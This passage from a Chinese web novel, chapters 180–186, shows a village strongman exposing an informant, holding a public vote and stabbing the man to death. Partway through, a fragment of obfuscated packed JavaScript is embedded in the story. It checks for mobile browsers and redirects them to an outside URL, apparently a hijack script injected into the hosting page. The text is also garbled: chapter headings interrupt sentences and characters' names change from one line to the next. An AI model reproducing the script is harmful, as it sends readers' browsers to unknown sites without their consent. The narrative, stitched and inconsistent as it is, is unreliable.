“你们两个,给我睁大眼睛看清楚了! 第一百八十章 谁要是能认出那个告密者,我就让他少受点皮肉之苦!” 眼煞豹和麻脸虎哪敢不听,连忙瞪大了眼珠子,死死地盯着人群,生怕错过一个。 这可是他们保命的唯一机会,要是能把告密者给揪出来,说不定还能捡回一条小命。 村民们看着这两个五花大绑的家伙,都有些发懵,一个个你看我,我看你,不知道啥情况。 “这俩货是谁啊?咋被绑成这样?” “你个二小子,昨天苏二带人出去干啥你忘了?肯定是去给石匠们报仇去了!” “哦,这么说他们就是害死石匠一家的坏人了?” “苏二让他们看啥呢?要揪出内鬼了?” 低低的议论声中,夹杂着几分紧张和好奇。 眼煞豹和麻脸虎的眼珠子都快瞪出来了,可还是啥也没看出来。 几百口子人,从高处往下看,黑压压的一片,全是人头,这**咋找? 他们的额头上冷汗直冒,心里开始打鼓。 为了加快进度,苏阳直接改变策略。 “这样,大家伙儿都排好队,一个一个从他们俩面前走过去!” 苏阳一声令下,几个身强力壮的小子立刻行动起来,把人群分成几排。 “女人都站到左边去,出卖组织的绝非女子!” “年纪大的也站过去,眼煞豹和麻脸虎都说了,告密的是个后生!” 这么一来,范围就缩小了一大半,眼煞豹和麻脸虎也松了一口气,感觉看到了希望。 村民们一个个从眼煞豹和麻脸虎面前走过,像过筛子一样。 两个家伙瞪大了眼睛,不错眼珠地盯着每一个人的脸,连个细微的表情都不放过。 可看了半天,他们的眼睛都快看瞎了,也没看出个所以然来。 时间一分一秒地过去,两个人的脸色越来越难看,身体也开始微微发抖。 就在他们快要绝望的时候,苏阳突然冷不丁地开口了: “村正,你家老麻呢?咋没见着人影?难不成是去青虎岭给土匪通风报信去了?” 苏阳的声音像一把尖刀,直刺赖志成的心窝。 唰! 所有人的目光都齐刷刷地射向了赖志成,像聚光灯一样打在他身上。 “啥?村正派长子寻找山匪?” “找土匪干啥?这还用问,肯定是商量咋抢咱们村呗!” “这个挨千刀的,没想到他是这种人,真是狼子野心!” 村民们议论纷纷,看向赖志成的眼神都变了,有愤怒,有鄙视,还有恐惧和不安。 “你……你血口喷人!” 赖志成气到浑身发抖,指着苏阳的鼻子破口大骂,唾沫阳子喷了苏阳一脸。 他感觉自己掉进了一个精心设计的陷阱里,百口莫辩。 苏阳这是要置他于死地啊! 先是抢了他的村正之位,又抢了他的钱,现在竟然还想给他扣上勾结土匪的帽子! “苏二,你别得意得太早!” 赖志成从牙缝里挤出一句话: “我这就把我大儿子叫来,看你还有什么话说!” 他现在唯一的希望就是卓麻没有和土匪搅和在一起。 苏阳等的就是这句话,他要的就是卓麻出现。他嘴角微微上扬,露出一丝不易察觉的冷笑: “行啊,村正,你要是能把你家老麻叫来,我就让他见识见识我的‘见面礼’!” 赖志成气哼哼地一甩袖子,转身就走,脚步虚浮: “苏二,你给我等着!老子这就去把麻虎叫来!” …… 三溪镇。 夜幕降临,万籁俱寂。 空无一人的街道上,只有一堵墙,默默地矗立着。 墙上,几个刚劲有力的大字在月光下泛着冷光。 那是苏阳留下的,是他对敌人的警告,也是他对青龙村的承诺。 至于写了啥,除了苏阳,没人知道。 几个手下眼巴巴地瞅着那几个字,可他们大字不识几个,只能干瞪眼。 苏阳没有解释,带着众人悄无声息地离开了三溪镇,消失在茫茫夜色中。 至于眼煞豹坊里传出的惨叫声,会不会惊动周围的邻居? 苏阳根本不在乎。 大半夜的,赌馆里传出点动静,那不是很正常吗?谁家过年还不放个鞭炮? 周围的街坊邻居早就见怪不怪了,谁也不会闲得没事干,去多管闲事。赖志成一瘸一拐地回来了,身后跟着个走路直打颤的年轻人,不用说,是他大儿子赖守仁。 “苏二,看清楚了,人我给你带来了!看你还能狡辩什么?” 赖志成扯着嗓子喊,眼角却不住地往眼煞豹那边瞟,活像老鼠见了猫。 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“苏二!你口口声声说我家麻虎和土匪勾结,现在人来了,你想就这么算了?没门!我告诉你,这事没完!” 苏阳冷笑一声,眼中闪过一丝寒光: “赖志成,装什么大尾巴狼!你以为你家那点破事我不知道?赶紧滚!再不滚,我把你家那些见不得人的勾当全抖出来,让你在青龙村身败名裂!” 赖志成一听,脸色瞬间惨白如纸。 他咬牙切齿地撂下一句狠话: “苏二,你给我等着!这事儿不算完!” 说完,他一把拽起赖守仁,脚底抹油,溜得比兔子还快。 那狼狈的样子,活像身后有恶鬼追赶。 周围的村民们都看愣了,一个个交头接耳,议论纷纷: “咋回事?这老狐狸怎么突然变得这么好说话?” “苏二这么说他儿子,他就这么忍了?这可不像他的作风啊!” “莫非……这里头真有什么见不得人的秘密?” …… 各种猜测在人群中传开,说什么的都有。 赖志成为啥这么慌? 第一百八十一章 因为他认出了眼煞豹! 那个被捆得像粽子、脸上刺着字的家伙,正是三溪镇一霸——眼煞豹! 之前隔得远,加上眼煞豹鼻青脸肿的,赖志成没敢认。 可刚才他扶着赖守仁走近了,借着光亮,他一眼就认出了眼煞豹那张凶神恶煞的脸! 冷汗,唰地一下就下来了。 赖志成在心里哀嚎: “我的天爷!这不是眼煞豹吗?” “苏二这小子,竟然真把这瘟神给抓来了?” “难道说,昨晚苏二带人去寻仇,找的就是眼煞豹?” 他只觉得脑子里嗡嗡作响,像是有无数只苍蝇在乱飞。 他可是听说过,眼煞豹心狠手辣,在三溪镇那是横着走的角色。 据说,镇上有家布店老板不小心惹了他,第二天就被发现吊死在了自家房梁上!官府去了也只是草草验尸,最后不了了之。 谁不知道,眼煞豹背后有大人物撑腰? 平时在三溪镇,赖志成见了眼煞豹,都是躲着走,生怕惹上麻烦。 如今,这煞星竟然落到了苏二手里,还被收拾得这么惨! 想到这里,赖志成哪里还敢跟苏阳叫板? 他现在只想快点离开这是非之地,有多远跑多远! 看着韩家父子落荒而逃的背影,苏阳眼神闪烁: “原以为是赖守仁通风报信,看来是我搞错了。” “不过,这对父子为啥这么慌张?莫非他们和青虎岭的土匪真的有瓜葛?如果真是这样,那这事可就越来越有意思了……” 等那对父子消失在视线里,苏阳这才转身面对众人。 他深吸一口气,大声说道: “各位乡亲们,今天把大家伙儿叫来,是有件大事要说!” “咱们村出了个吃里扒外的叛徒,把两位石匠师傅在咱们村干活的消息,泄露给了三溪镇的歹人,导致石匠师傅一家遭了难!” “今天,我苏二就是要揪出这个叛徒,给石匠师傅一家讨个公道!同时,也要清理门户,绝不能让这种祸害留在咱们村!” 苏阳这番话说得慷慨激昂,义正辞严。 不少村民听了,顿时群情激愤,恨不得立刻把那个叛徒揪出来,生吞活剥。 这年头,宗族观念深入人心,同乡同族之间,就得抱团取暖,一致对外。 要是有人敢欺负自己村里的人,那大家伙就得一起上,跟他拼了! 更别说出了叛徒,那更是人人得而诛之! 何况,苏阳现在可不是孤家寡人,他身边已经**了一帮子年轻人。 这些年轻人,哪个没有家人?哪个没有亲戚朋友? 一听说要揪叛徒,这些人的家人自然是全力支持。 今天有人把石匠给卖了,明天呢?谁知道会不会轮到自己头上? 这种事情,绝对不能姑息!必须严惩! “阳哥儿,你说吧,要咋办?咱们都听你的!” “对!谁要是敢包庇叛徒,老子第一个不放过他!” “把那个王八蛋揪出来,打断他的狗腿!” “……” 人群中,叫骂声此起彼伏,群情激愤。 根本不用苏阳再多说什么,那些年轻人的家人早就行动起来,挨家挨户地去叫人。 “都出来!都出来!阳哥儿有话说!” “谁要是不出来,谁就是心里有鬼!” “快点!别磨磨蹭蹭的!” …… 有些人本来不想出来,大冷天的,在家烤火多舒坦? 可一听这话,谁还敢在家待着? 万一被当成叛徒,那可就百口莫辩了! 于是,青龙村里,老老少少,男男女女,只要能动弹的,全都**到了村口。 当然,赖志成父子除外。 他俩这会儿正躲在家里,吓得瑟瑟发抖呢。 苏阳站在人群前,看着一张张或愤怒、或疑惑、或恐惧的脸,心里很是满意。 他清了清嗓子,提高了声音: “乡亲们,天寒地冻的,把大家伙儿叫出来,实在是对不住。不过,这事儿关系到咱们村每一个人的安危,我不得不这么做!” “为了感谢大家的配合,等会儿事情结束了,大家伙都别走。我让人准备了热粥,一人一碗,暖暖身子!” 他顿了顿,提高了声音: “管饱!” 话音刚落,人群中立刻爆发出雷鸣般的欢呼声: “哦!哦!喝粥喽!” “苏二这娃子,真是仗义!这得花多少大米啊!” “可不是嘛!比那赖志成强多了!那老抠,恨不得一粒米掰成两半花!” “……” “行了,都安静一下!” 苏阳压了压手,示意大家 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“和四这小子,以前跟**过活。按理说,他病了,我该去看看。” “可眼下这情况,实在走不开。” 苏阳的视线,落在了陈木生身上, “石头,村东头老孙家不是有辆闲着的驴车吗?你去借来,把和四接过来。多垫几层褥子,别让他受了风寒。” “妥了,二哥,您就瞧好吧!” 陈木生应了一声,脚下生风,转头就走。 在场的这些年轻人,哪个不是人精? 他们早就从苏阳的话里,听出了端倪。 长得比卓麻周正,八成挂彩了,还挨过周阳的鞭子,更重要的是,今天压根就没露面…… 把这些线索拼在一起,答案简直不要太明显:去三溪镇通风报信的,十有**就是和四! 既已猜到,陈木生自然不会手下留情。 他招呼了几个平时走得近的兄弟,直奔村东头老孙家。 到了地方,好说歹说,总算把驴车借了出来。 几个人赶着驴车,火急火燎地就往黄家去了。 到了黄家门口, 大门紧闭,门闩插得严严实实。 第一百八十二章 “和四,阳哥儿听说你身子骨不舒坦,让我们来接你去瞧瞧……” “和四……” “和四,你在家没……” 陈木生扯着嗓子喊了半天, 屋里才传出一个女人尖细的声音: “不……不在!” 是和麻老婆的声音,带着一股子掩饰不住的慌乱。 陈木生是什么人? 在战场上滚过几圈,杀过人的主儿,岂会被一个女人三言两语就给唬住? “不在?赶紧开门,我们进去看看就知道了。” “哎呦,我说石头兄弟,我这孤家寡人,大白天的,哪能随便给你们开门啊?有啥事儿,就隔着门说吧?” 和麻老婆的声音,透着一股子心虚。 陈木生可没耐心跟她耍嘴皮子: “我再说最后一遍,开不开门?你再不开门,可别怪我们不客气了!” “陈木生,你反了天了!你个小兔崽子,敢砸我家的门?我这就去找你娘,让她好好管管你!” 和麻老婆在屋里叫嚣着,声嘶力竭,想用村里的风言风语压住陈木生。 搁在以前,这招或许还真能起点作用。 可现在的陈木生,早就不吃这一套了。 他冷笑一声: “兄弟们,上!” 几个年轻人早就憋了一肚子火,听陈木生一声令下,立刻冲了上去。 “咣当!” 一声巨响,年久失修的木门,应声而倒。 “哎呀……你们……你们想干啥?强抢民女啦!救命啊……” 和麻老婆的尖叫声,划破了院子的宁静。 陈木生连眼皮都没抬一下,带人直接冲了进去: “和四,你个**,有种就给我出来!” 青龙村的房子,破破烂烂,根本藏不住人。 床底下、水缸里、柴火垛后面…… 这些地方,他们小时候玩捉迷藏的时候,早就摸得一清二楚。 没费多大劲,陈木生就把和四从灶台后面给拽了出来。 和四死活不肯走,一屁股坐在地上,杀猪般嚎叫起来: “嫂嫂救我……嫂嫂快来救我啊……” 和麻老婆吓得魂飞魄散,跌跌撞撞地冲上来,死死抱住和四: “你们放开他!放开我男人……你们这群土匪,不得好死……” “啪!” 一声脆响。 周阳不知道什么时候也跟了过来,他脸色阴沉得可怕,一巴掌狠狠抽在和麻老婆脸上,直接把她打翻在地! 他怎么能不来? 那个告密的王八蛋,居然敢盗用他身份! 要不是苏阳心思缜密,替他洗清了嫌疑,他现在浑身是嘴也说不清了! 跟自己的名声,甚至小命比起来,更别说是个女的,就是天王老子来了,周阳也照打不误! “把这狗东西给我绑到车上去!” 陈木生一声令下,几个年轻人一拥而上,把和四五花大绑,扔到了驴车上。 和麻老婆在后面哭天抢地,连滚带爬地追着驴车。 陈木生狠狠一甩鞭子,驴车“嘚嘚嘚”地跑了起来,转眼就到了打谷场。 看到驴车后面,那个披头散发、哭嚎不止的和麻老婆, 晒粮场上的村民们,一个个你看我,我看你,谁也说不出话来。 这叔嫂俩的感情,还真是……非同一般啊! 苏阳指着驴车上,被捆得像个粽子一样的和四,问眼煞豹和麻脸虎: “你们俩,好好看看,是不是他?” 苏阳的声音虽然不高,但语气里却透着一股不容置疑的威严。 晒粮场上,顿时鸦雀无声。 那些平时爱说闲话的村民,此刻也都紧紧闭上了嘴巴,大气都不敢出。 眼煞豹和麻脸虎,自然不敢怠慢。 两人把脖子伸得老长,瞪大了眼睛,仔细辨认着和四…… “像……是他,就是他!” 眼煞豹抢先开了口。 他可不管那么多,先占个坑再说。 麻脸虎心里暗骂: 这老小子,眼睛都不带眨一下的,就认出来了? 苏阳的目光,落在了麻脸虎的身上: “你再好好看看,确定吗?” 麻脸虎不敢像眼煞豹那样信口开河,往前凑了凑,盯着和四看了又看, 终于,他缓缓点了点头: “像……是有点像。不过……” “不过什么?”苏阳追问道。 “我记得,那天那小子,身上好像有鞭子抽的伤痕……”麻脸虎不太确定地说。 “鞭伤?有!” 周阳的声音,冷冷地插了进来, “前些日子,这小子手脚不干净,我亲手抽的!” 麻脸虎一听这话,心里更有底了。 他再次仔细看了看和四,终于确定地点了点头: 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140825|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“没错,是他!就是他!” 确认了告密者,苏阳反而不着急了。 他摆了摆手,示意麻脸虎退下。 “石头,你去问问和四,他为什么要这么做?” 苏阳的语气很平静,但任谁都能听出,平静之下,压抑着的怒火。 陈木生早就对和四恨之入骨。 他走到和四面前,没有丝毫犹豫, “啪!啪!啪!” 几个大耳光,狠狠地抽在了和四的脸上! “你这两面三刀的玩意!阳哥儿对你不薄,你为什么要背叛他?” 和四被打得两眼冒金星,神情恍惚,嘴里嘟囔着: “我……我没想背叛……我只是……只是想吃口饱饭……” “吃饱饭?” 周阳怒吼一声,冲上去,对着和四就是一顿拳打脚踢, “你**吃里扒外,还有脸说想吃饱饭?老子今天就让你吃个够!” 和麻老婆在一旁哭嚎着,想要阻止周阳,却被几个年轻人拦住,根本靠近不了。 和四哪里受得了这个? 没几下,他就被打得鼻青脸肿,哭爹喊娘起来。 “别打了……别打了……我说……我全都说……” 和四断断续续地,把事情的来龙去脉,全都交代了出来。 原来,当初和四被苏阳赶走之后,一直心怀怨恨。 他恨苏阳,也恨那些跟着苏阳吃香喝辣的年轻人。 他听说苏阳得罪了眼煞豹,又打听到那几个石匠是瞒着眼煞豹偷偷跑到青龙村来的。 一个恶毒的计划,在他的脑子里慢慢成型。 他觉得,只要把这件事告诉眼煞豹,眼煞豹肯定会来找苏阳的麻烦。 到时候,苏阳自顾不暇,青龙村的这些人,也别想有好日子过! 所以,他趁着苏阳带人进城的机会,偷偷溜到三溪镇,把消息告诉了眼煞豹。 在他看来,眼煞豹是什么人? 那是方圆百里有名的大土匪头子,手底下有的是人马! 苏阳再厉害,还能厉害得过眼煞豹? 更何况,就算苏阳知道了几个石匠家人被害的事,也不会怀疑到他的头上。 可他万万没想到,苏阳竟然如此生猛,直接带人杀进了眼煞豹的老巢! 不仅端了眼煞豹的老窝,还把他本人都给抓了回来! 和四哆哆嗦嗦地说完, 晒粮场上,一片死寂。 第一百八十三章 所有人的目光,都**在苏阳身上。 大家都在等着他发话,想知道他会如何处置这个背叛者。 是为那几个惨死的石匠报仇,将和四**万段? 还是念在同村一场,饶他一条狗命?苏阳做梦都想不到,告密的孙子竟然真是和四。 这家伙,脑子是让驴踢了?还是进水了? 但凡长了点脑子,也干不出这种缺德事! 他难道不该恨他自己吗? 苏阳简直无力吐槽,手指关节捏得咔咔作响。 现在,轮到他苏阳头疼了。 杀和四,容易是容易,可后患无穷。 外人会说他苏阳不照顾乡亲,胳膊肘往外拐。 不杀? 几个石匠家破人亡,这血海深仇怎么算? 以后谁还敢跟他苏阳混? 苏阳揉了揉眉心,这事儿还真**棘手! 不过,这难不倒他苏阳。 怎么办? 苏阳嘴角微微上扬,心中已然有了计较。 干脆把皮球踢出去,让大伙儿自己决定! 顺便,也培养一下,啥叫当家做主。 别看这玩意儿平时没啥用,搁这兵荒马乱的年月,用处可大了去了! 没有一帮把自己当家做主的穷哥们,哪来的天朝上国? “都静一静,听我说!” 苏阳提高了嗓门,打断了众人的议论。 他环视一圈,晒粮场上立刻安静下来。 “和四的事,按说该怎么办,我一句话的事。” “可我寻思着,这事儿不能我一个人说了算,得大伙儿一起拿主意。” “毕竟,这青龙村,也不是我苏阳一个人的,是大家的!” 苏阳这话一说,底下嗡嗡声又起来了。 不少人交换着眼神,心里琢磨着苏阳这话啥意思。 “所以,我有个想法,大伙儿听听,看中不中。” 苏阳故意卖了个关子。 “咱今儿个,就来个新鲜的,投票!” “啥叫投票?就是大伙儿一起举手表决,少数服从多数!” 他举起自己的右手,晃了晃。 “青龙村,每户选一个人马,算一票。” “朱木匠,许木匠,你们两家是苦主,这事跟你们关系最大,一家给你们算十票!” “黄家……就别掺和了,这事儿跟你们有关系,你们投啥,大伙儿心里都有数。” 苏阳说到这里,语气稍微缓了缓。 “最后,就按票数,来定和四的下场!” “就两个选项,要么,放他一马,要么……”苏阳猛地一攥拳头,声音也冷了下来,“杀了他,给石匠家抵命!” 这话一出,底下顿时炸了锅。 明眼人都能听出来,苏阳这是铁了心要弄死和四。 他要是把选项改成“赔钱”,估计选“放”的人就多了。 可光放了和四,大伙儿心里这口气顺不过来。 苏阳当然不想放过和四,留着这么个祸根,以后还不定惹出啥事来呢! 他做事,向来不喜欢拖泥带水。 要不是为了收拢人心,他哪用得着这么费劲? 投票这事,大伙儿还是头一回听说,都觉得新鲜。 往常都是被管着的命,这回居然能自己做主? 不少人眼睛都亮了,心里头热乎乎的。 “苏二,你倒是说啊,咋个投票法?” “就是,别卖关子了,急**了!” 人群里,有人等不及了,扯着嗓子喊。 “别急,别急,这就来!” 苏阳笑了笑,摆了摆手。 他让石头搬来一张桌子,上面放了两个粗瓷大碗。 一个碗上贴了张纸,写着个“放”字。 另一个碗上也贴了张纸,写着个“杀”字。 “每家来个人,领个小石子。” 苏阳指了指桌上的碗。 “想放和四的,就把石子扔进写着‘放’的碗里。” “想让他偿命的,就扔进写着‘杀’的碗里。” “就这么简单,谁都看得懂,谁都会!” 苏阳又补充了一句。 “我呢,也算一票。” 他从石头手里拿过一颗小石子,在手里掂了掂。 “不过,我不着急,我让朱木匠和许木匠先来。” 苏阳看向人群中的两个石匠。 朱木匠和许木匠对视一眼,眼圈都红了。 他们感激地看着苏阳,嘴唇哆嗦着,却说不出话来。 苏阳能这么做,已经是仁至义尽了。 他们还能有啥说的? “别愣着了,过来吧。” 苏阳朝他们招了招手。 两个石匠抹了把眼泪,走到桌前。 他们没有丝毫犹豫,抓起桌上的小石子, “咣当!咣当!” 狠狠地扔进了写着“杀”字的碗里。 那声音,像是砸在和四的心坎上一样。 “苏家小子们,你们也来!” 苏阳又招呼 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不过,大伙儿也能理解。 谁家没个亲戚朋友? 真要大义灭亲,那也太不近人情了。 “石头,你去把卓村正请来,让他也投一票。” 苏阳朗声说道。 他做事,讲究的就是个公平! 这么重要的事,咋能少了赖志成? 别说他是村正,他就是个普通老百姓,苏阳也得让他参与进来。 可赖志成听说苏阳让他去投票,差点没气得背过气去! 他一屁股坐在炕上,狠狠地捶着炕沿。 “苏二这个小王八蛋,他这是安的什么心?!”“不去!” 赖志成猛地一拍桌子,茶碗都跳了起来,“咣当”一声摔在地上,碎成了几瓣。 他喘着粗气,胸膛剧烈起伏,像是一头被激怒的野兽。 “投什么票?投**鸟票!” 苏阳这小兔崽子,是吃了熊心豹子胆,敢在他头上动土! 他要是真去投了票,以后谁还认他这个村正? 见赖志成气得脸色铁青,他婆娘也有些慌了神,小心翼翼地劝道: “当家的,消消气,消消气… 第一百八十四章 …要不,让婉苏替你去吧?好歹……也是咱们自家人,不会乱说话……” “滚!都给老子滚出去!” 赖志成猛地一挥手,像赶苍蝇似的,眼睛瞪得像铜铃。 苏阳葫芦里卖的什么药,他能不知道? 今天他要是让人代投,甭管是谁,都等于认了苏阳当家!以后这青龙村,就是苏阳说了算! …… “好!村正弃权,大家伙儿也都表决完了,现在就验票!” 苏阳站在土台上,声音洪亮。 他目光如炬,缓缓扫过每一个人,仿佛能看穿他们的心思。 赖志成不来,苏阳求之不得。 少了这么一块绊脚石,更方便他施展拳脚。 为了服众,苏阳这次没让陈木生他们帮忙,而是把验票的事交给了村里几个德高望重的老人。 这几位平时都是被村里人敬着,但很少有这种当众露脸的机会。 如今苏阳给了他们这么个差事,一个个都跟打了鸡血似的,激动得不行。 “孔四爷,您眼神好,您来念!” “李四爷,您嗓门大,您来唱!” “张二痦,你个龟孙平时不是挺能耐吗?今天这事你可得上点心,你要是敢给老子耍滑头,看老子不扒了你的皮!” 几位老人你一言我一语,倒是配合得挺默契。 “血债血偿,一票!” 孔四爷戴上老花镜,眯着眼睛,仔细辨认着破瓦盆里的绿豆。 “血债血偿,又一票!” 李四爷扯着嗓子,声音洪亮得像打雷。 “**,还是血债血偿……” 张二痦嘟囔着,把一颗绿豆扔进破瓦盆里。 …… “这帮老不死的,平时一个个蔫头耷脑的,今天倒是来劲了!” 人群中,有人小声嘀咕着。 验票的过程,紧张又刺激。 每一个结果,都牵动着在场所有人的心。 尤其是和四,更是吓得浑身发抖,脸色惨白如纸。 他死死地抓住大嫂的胳膊,像是抓着最后一根救命稻草。 终于,最后一张票也验完了。 孔四爷颤巍巍地站起身,清了清嗓子,声音有些嘶哑: “乡亲们,结果……出来了!” 所有人的目光都集中在了孔四爷身上,等待着他宣布最后的结果。 “将近八成的绿豆,都投给了……血债血偿!” 孔四爷的声音虽然不大,但每一个字,都像是一记重锤,狠狠地敲在了和四的心上。 “完了……全完了……” 和四面如死灰,一下子瘫软在地,屎尿齐流。 他绝望地闭上了眼睛,等待着命运的审判。 “嫂嫂……救我……救我啊……” 他用尽最后一丝力气,向大嫂求救。 和麻的婆娘也慌了神,一把抱住和四,哭得死去活来: “四虎啊,我的儿啊……你走了,嫂子可咋活啊……” 这哭声,像是杜鹃啼血,凄厉无比。 周围的村民们都看懵了。 这都啥时候了,这叔嫂俩还有心思在这儿演戏呢? 赖志成的小姨子王婉苏,倒是被这“感人”的场面给唬住了,眼泪止不住地往下流。 她涉世未深,哪分得清真情假意,还真以为这是难得的叔嫂情深呢! 王婉苏抹了把眼泪,偷偷拽了拽赖志成婆娘的衣角,想让她帮忙求情。 可一想到苏阳那冷酷的模样,她又泄了气。 跟王婉苏一样,村里不少未出阁的黄花闺女也都哭红了眼。 这些姑娘们,心思单纯,容易被表象迷惑。 钱晓柔和她的小丫鬟生荷,也是哭得梨花带雨。 她们一边抹眼泪,一边用幽怨的眼神看着苏阳,希望他能网开一面。 可苏阳压根就没搭理她们。 小丫头片子懂个啥?等你们找到归宿,就知道人心险恶了! 和麻站在一旁,脸色铁青。 他虽然老实,却不傻。 和四干的那些事,他多多少少也猜到了一些。 只是,他一直不愿相信,也不敢相信。 现在,眼睁睁地看着和四落到这个下场,他的心里,五味杂陈。 …… 按说,和四犯下如此重罪,应该由苦主石匠们来处置。 可是苏阳没让。 一方面,石匠毕竟是外村人,当众行刑,难免落人口实。 另一方面,苏阳也不想让这几个外乡人坏了青龙村的规矩。 至于让手下的小子们动手……更不合适。 他们年纪还小,手上沾了血,对未来的成长不好。 更何况,和四毕竟是青龙村的人,真要让村里的小伙子动手,难免会引起一些不必要的麻烦。 思来想去,苏阳还是决定亲自动手。 **这种事,他不是第一次干了。 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和四的嫂子见状,像是疯了一样扑了上来,想要阻止。 和麻一把抱住她,死死地箍住她的腰,不让她靠近。 “你放开我!放开我!我要去救四虎!” 和四的嫂子声嘶力竭地喊着,拼命挣扎。 可和麻就是不松手。 他心里清楚,现在谁也救不了和四了。 要是再让婆娘闹下去,说不定连她也得搭进去。 “和四,你作恶多端,罪有应得!今天,我就替天行道,送你上路!” 苏阳走到和四面前,冷冷地说道。 他伸手“刺啦”一声撕开了和四胸前的衣襟,露出了他瘦骨嶙峋的胸膛。 “不……不要……我……” 和四吓得魂飞魄散,还想说什么。 可苏阳没给他机会。 “扑哧!” 一声闷响,虎头弯刀狠狠地扎进了和四的心窝。 “啊……” 人群中爆发出一阵惊呼。 许多人都吓得闭上了眼睛,不敢看这血腥的一幕。 几个胆小的婆娘,更是直接吓晕了过去。 鲜血,从和四的胸口喷涌而出,染红了他身下的土地。 第一百八十五章 苏阳只觉得一股热血溅到了脸上,黏糊糊的,带着一股浓重的血腥味。 他的胃里一阵翻江倒海,差点吐出来。 “四虎!我的四虎啊!” 和四的嫂子发出一声凄厉的惨叫,猛地挣脱了和麻的束缚,向着苏阳猛扑过去, “苏二,你个杀千刀的王八蛋!老娘要跟你拼了!”和四嫂一声凄厉的尖叫,像把烧红的刀子,猛地扎进了喧闹的人群。 要弄死苏阳全家! 这女人,怕是烧坏了脑子! 前一刻还闹哄哄的场面,瞬间凝固,像被兜头浇了一盆冰水,连根针掉地上都能听见。 所有声音都消失了。 只有和四嫂的哭嚎,像夜猫子叫魂,一声声刮着人的耳膜,让人后脊梁骨发麻。 人们的眼珠子瞪得溜圆,死死盯着和四嫂,仿佛在看一个怪物,又像是看一个**。 “这……这婆娘,不要命了?” “苏二刚宰了和四,正……正杀气腾腾,她还敢……” “怕是活腻歪了,嫌命长!” 窃窃私语像瘟疫一样蔓延,每个人都下意识地缩了缩脖子,生怕被这疯婆娘连累,更怕被苏阳的刀子盯上。 尤其是和麻,一张老脸瞬间褪尽了血色,煞白如纸,比**亲爹还难看。 他心里跟明镜似的,自家婆娘跟三弟那点腌臜事,瞒得过别人,瞒不过他。 可……可那又能咋样? 娃都有了,总不能真休了她吧? 再说,和四……和四也算遭了报应,死得不冤。 只是,这婆娘也太不知死活了! 她这是要拉着全家陪葬啊! 真要惹恼了苏二,这孩子要成没妈的娃了! 和麻越想越怕,浑身筛糠一样抖个不停,裤裆里隐隐有股尿骚味,湿了一片。 可怜的和麻,还蒙在鼓里呢。 成亲这么多年,肚子一直没动静,偏偏最近才有了娃,这不明摆着有问题吗? 他居然还傻乎乎地以为是自己的种! 这绿帽子,戴得可真够严实的,都快把他闷**。 不只是和麻,在场的村民,甚至苏阳手下的那些个小子,有一个算一个,都觉得苏阳绝不会放过和四嫂。 这可是当面锣对面鼓地叫嚣着要灭人全家啊,搁谁身上能忍? 更何况是苏阳? 然而,下一秒,所有人都傻眼了,下巴差点掉地上。 苏阳压根就没搭理和四嫂,连眼皮都没抬一下,只是淡淡地扫了和麻一眼,像是在看一条摇尾乞怜的狗。 然后,从怀里摸出一块银子,“啪”地一声扔在和麻脚边,发出清脆的响声。 “和麻,拿去,找人把你兄弟……风光大葬了吧,也算……全了咱们兄弟一场的情义。” 苏阳故意顿了顿,加重了“风光大葬”和“兄弟情义”几个字的语气,仿佛带着无尽的嘲讽。 轻飘飘的一句话,像一道惊雷,在人群中炸响,炸得人们头晕目眩。 “嗡……” 人群瞬间沸腾,像开了锅的粥,又像是炸了窝的马蜂。 “啥?苏二……没收拾和四家的?” “还……还给了和麻五两银子?这……这是唱的哪一出?莫不是……买命钱?” “莫不是……苏二怕了?怕黄家报复?” “放屁!苏二爷们着呢!和四该死,这是公道!可人家事后还给银子,这是情义!你们谁能比?这是给黄家留条活路!” “就是!苏二哥仗义!这叫打一巴掌给个甜枣!” “苏二哥威武!这手段,高明!” …… 各种议论声、猜测声、赞叹声,此起彼伏,乱成一团,比集市还热闹。 苏阳嘴角微微上扬,露出一丝不易察觉的冷笑。 杀和四,是为了立威,杀鸡儆猴。 可光立威不行,还得收买人心,让人心服口服。 要是再揪着和四嫂不放,就显得自己心胸狭窄,睚眦必报,手段太过狠辣。 现在这样,多好。 既震慑了宵小,又笼络了人心,一举两得,何乐而不为? 至于和四嫂日后会不会报复? 苏阳根本没放在心上。 跳梁小丑,不足为惧。 兵来将挡,水来土掩,见招拆招便是。 眼下最要紧的,是壮大自己的实力,积攒力量。 只要拳头够硬,还怕什么跳梁小丑? 和麻颤巍巍地捡起地上的银子,入手冰凉,心里却像打翻了五味瓶,酸甜苦辣咸,说不出是个啥滋味,比**亲娘还难受。 苏阳杀了自家兄弟,这是血海深仇。 可苏阳也让他看清了和四的真面目,这……又算什 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县太爷才懒得管这些鸡毛蒜皮的小事。 村里的事,一般都是村里自己解决。 谁家婆娘偷了汉子,谁家汉子偷了牛,谁家孩子偷了鸡…… 这些破事,衙门才不管。 轻的,抽几鞭子,关几天祠堂。 重的,浸猪笼,乱棍打死,也不是没有。 只要没人告官,或者说,没人有本事告官,那就啥事没有。 青龙村住着各家各姓,没有一个能服众的大家族。 所以,村里说了算的,不是族长,而是村正赖志成。 平日里,村里有个什么**,都是赖志成出面调解。 谁是谁非,全凭他一张嘴。 可今天,处置和四这事,却是苏阳一手操办,从头到尾,没赖志成什么事。 这其中的意味,明眼人一琢磨就明白。 苏二,这是要取而代之啊! 他要当青龙村的“土皇帝”! 苏阳却没有急着让村民喝粥,也没有急着说话。 他环视一圈,目光如炬,扫过一张张或期待、或敬畏、或好奇的脸。 他在等,等一个合适的时机。 第一百八十六章 他心里清楚,眼下最要紧的,是稳定军心,收拢人心。 毕竟,和四之前也是自己人,虽然**,但难免会有人兔死狐悲,心生芥蒂,觉得苏阳心狠手辣。 所以,他得想办法,把这股歪风邪气给压下去。 思想工作这玩意,可是个宝,是凝聚人心的法宝。 啥时候都不能放松,更何况是现在? “石头,把银子抬过来!” 苏阳突然一声大喝,打破了沉寂。 陈木生应声而出,身后跟着几个精壮的小伙子。 他们抬着一个大木箱,沉甸甸的,压得扁担吱呀作响。 